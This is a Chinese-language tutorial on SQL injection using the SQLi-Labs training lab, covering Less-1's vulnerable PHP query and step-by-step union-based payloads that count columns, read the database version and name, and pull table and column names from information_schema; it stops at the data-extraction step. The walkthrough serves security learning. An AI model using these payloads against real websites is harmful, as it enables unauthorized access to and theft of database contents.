SQL注入实战：从基础到高级攻防技术详解

1. SQL注入实战全解析：从入门到精通

作为一名长期从事Web安全研究的从业者，我深知SQL注入是Web应用中最常见也最危险的漏洞之一。今天我将通过一个完整的SQL注入实验环境（SQLi-Labs），带大家深入理解各种SQL注入手法的原理和实战技巧。

1.1 实验环境概述

SQLi-Labs是一个专门用于学习SQL注入的开源靶场，包含了从基础到高级的多种注入场景。这个环境模拟了不同类型的SQL注入漏洞，帮助我们掌握识别和利用这些漏洞的方法。

在开始之前，我们需要明确几个关键概念：

• SQL注入是通过将恶意SQL代码插入到输入参数中，欺骗服务器执行非预期SQL命令的攻击方式
• 注入点可能出现在GET/POST参数、HTTP头、Cookie等任何与数据库交互的地方
• 不同类型的注入需要不同的利用手法（联合查询、报错注入、布尔盲注、时间盲注等）

2. 基础注入手法详解

2.1 字符型注入（Less-1）

第一关展示了最基础的字符型注入漏洞。关键代码片段如下：

php复制$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);

漏洞分析：

1. 用户输入的$id直接被拼接到SQL语句中，没有任何过滤或参数化处理
2. 使用单引号包裹变量，形成了字符型注入点

利用步骤：

1. 判断注入类型：

sql复制?id=1 and 1=1     -- 数字型测试
?id=1' and 1=1 --+ -- 字符型测试

通过观察页面响应差异，可以确认是字符型注入（单引号闭合）

2. 确定字段数：

sql复制?id=1' order by 3--+

通过不断增加order by后的数字，直到页面报错，可以确定查询返回的字段数

3. 获取数据库信息：

sql复制?id=-1' union select 1,version(),database()--+

这里使用union select联合查询，注意：

• 前一个查询需要返回空结果（使用不存在的id值如-1）
• 字段数必须匹配原查询
• version()获取数据库版本，database()获取当前数据库名

4. 提取表信息：

sql复制?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3--+

通过information_schema系统数据库获取所有表名

5. 提取字段信息：

sql复制?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3--+

6. 获取最终数据